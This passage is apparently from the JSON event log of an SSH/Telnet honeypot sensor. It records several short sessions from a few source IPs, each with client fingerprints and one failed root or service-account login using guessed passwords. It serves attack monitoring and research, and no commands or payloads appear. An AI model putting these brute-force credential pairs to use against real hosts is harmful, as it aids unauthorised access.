{"eventid":"cowrie.session.connect","src_ip":"43.162.109.147","src_port":58362,"dst_ip":"10.17.0.5","dst_port":22,"session":"25d92c2ba864","protocol":"ssh","message":"New connection: 43.162.109.147:58362 (10.17.0.5:22) [session: 25d92c2ba864]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:13:25.317606Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:13:25.322218Z","src_ip":"43.162.109.147","session":"25d92c2ba864","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:13:25.389961Z","src_ip":"43.162.109.147","session":"25d92c2ba864","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"patate","message":"login attempt [root/patate] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:13:25.695386Z","src_ip":"43.162.109.147","session":"25d92c2ba864","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:13:26.767085Z","src_ip":"43.162.109.147","session":"25d92c2ba864","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":29.525670289993286,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:13:45.823270Z","src_ip":"167.71.238.254","session":"3b6bac427355","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.243.246","src_port":56714,"dst_ip":"159.203.135.109","dst_port":22,"session":"350aea59d306","protocol":"ssh","message":"New connection: 192.169.243.246:56714 (159.203.135.109:22) [session: 350aea59d306]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:14:26.291056Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:14:26.295462Z","src_ip":"192.169.243.246","session":"350aea59d306","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:14:26.371127Z","src_ip":"192.169.243.246","session":"350aea59d306","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tester@123","message":"login attempt [root/tester@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:14:26.704577Z","src_ip":"192.169.243.246","session":"350aea59d306","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:14:27.784060Z","src_ip":"192.169.243.246","session":"350aea59d306","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.162.109.147","src_port":57330,"dst_ip":"10.17.0.5","dst_port":22,"session":"c1dc10830ed0","protocol":"ssh","message":"New connection: 43.162.109.147:57330 (10.17.0.5:22) [session: c1dc10830ed0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:14:33.212044Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:14:33.216605Z","src_ip":"43.162.109.147","session":"c1dc10830ed0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:14:33.287709Z","src_ip":"43.162.109.147","session":"c1dc10830ed0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"deploy","message":"login attempt [root/deploy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:14:33.589626Z","src_ip":"43.162.109.147","session":"c1dc10830ed0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:14:34.661960Z","src_ip":"43.162.109.147","session":"c1dc10830ed0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.58.255.251","src_port":44210,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ebcaa3fd034","protocol":"ssh","message":"New connection: 95.58.255.251:44210 (10.17.0.5:22) [session: 8ebcaa3fd034]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:14:36.340423Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:14:36.344784Z","src_ip":"95.58.255.251","session":"8ebcaa3fd034","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:14:36.514320Z","src_ip":"95.58.255.251","session":"8ebcaa3fd034","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pay","message":"login attempt [root/pay] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:14:37.222791Z","src_ip":"95.58.255.251","session":"8ebcaa3fd034","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:14:38.395486Z","src_ip":"95.58.255.251","session":"8ebcaa3fd034","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.103.111.13","src_port":38136,"dst_ip":"159.203.135.109","dst_port":22,"session":"9181cef8d740","protocol":"ssh","message":"New connection: 14.103.111.13:38136 (159.203.135.109:22) [session: 9181cef8d740]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:15:12.336756Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:15:12.813659Z","src_ip":"14.103.111.13","session":"9181cef8d740","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:15:13.053806Z","src_ip":"14.103.111.13","session":"9181cef8d740","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"toni123","message":"login attempt [root/toni123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:15:14.777735Z","src_ip":"14.103.111.13","session":"9181cef8d740","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.6","message":"Connection lost after 4.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:15:16.953599Z","src_ip":"14.103.111.13","session":"9181cef8d740","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.243.246","src_port":56002,"dst_ip":"159.203.135.109","dst_port":22,"session":"1b2ba13e68eb","protocol":"ssh","message":"New connection: 192.169.243.246:56002 (159.203.135.109:22) [session: 1b2ba13e68eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:15:39.483530Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:15:39.488739Z","src_ip":"192.169.243.246","session":"1b2ba13e68eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:15:39.560411Z","src_ip":"192.169.243.246","session":"1b2ba13e68eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"user01","message":"login attempt [root/user01] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:15:39.879541Z","src_ip":"192.169.243.246","session":"1b2ba13e68eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:15:40.954821Z","src_ip":"192.169.243.246","session":"1b2ba13e68eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.162.109.147","src_port":37796,"dst_ip":"10.17.0.5","dst_port":22,"session":"3ef1a0dc57b3","protocol":"ssh","message":"New connection: 43.162.109.147:37796 (10.17.0.5:22) [session: 3ef1a0dc57b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:15:41.013797Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:15:41.018332Z","src_ip":"43.162.109.147","session":"3ef1a0dc57b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:15:41.086750Z","src_ip":"43.162.109.147","session":"3ef1a0dc57b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"udev-monitor","password":"warnight","message":"login attempt [udev-monitor/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:15:41.389803Z","src_ip":"43.162.109.147","session":"3ef1a0dc57b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:15:42.462776Z","src_ip":"43.162.109.147","session":"3ef1a0dc57b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.58.255.251","src_port":50172,"dst_ip":"10.17.0.5","dst_port":22,"session":"5ff9afcc9fe8","protocol":"ssh","message":"New connection: 95.58.255.251:50172 (10.17.0.5:22) [session: 5ff9afcc9fe8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:15:51.706830Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:15:51.712019Z","src_ip":"95.58.255.251","session":"5ff9afcc9fe8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:15:51.877782Z","src_ip":"95.58.255.251","session":"5ff9afcc9fe8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux123","message":"login attempt [root/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:15:52.575442Z","src_ip":"95.58.255.251","session":"5ff9afcc9fe8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:15:53.744870Z","src_ip":"95.58.255.251","session":"5ff9afcc9fe8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.46.255.86","src_port":48574,"dst_ip":"10.17.0.5","dst_port":22,"session":"5a3e7941c812","protocol":"ssh","message":"New connection: 193.46.255.86:48574 (10.17.0.5:22) [session: 5a3e7941c812]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:15:54.484778Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:15:54.489445Z","src_ip":"193.46.255.86","session":"5a3e7941c812","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","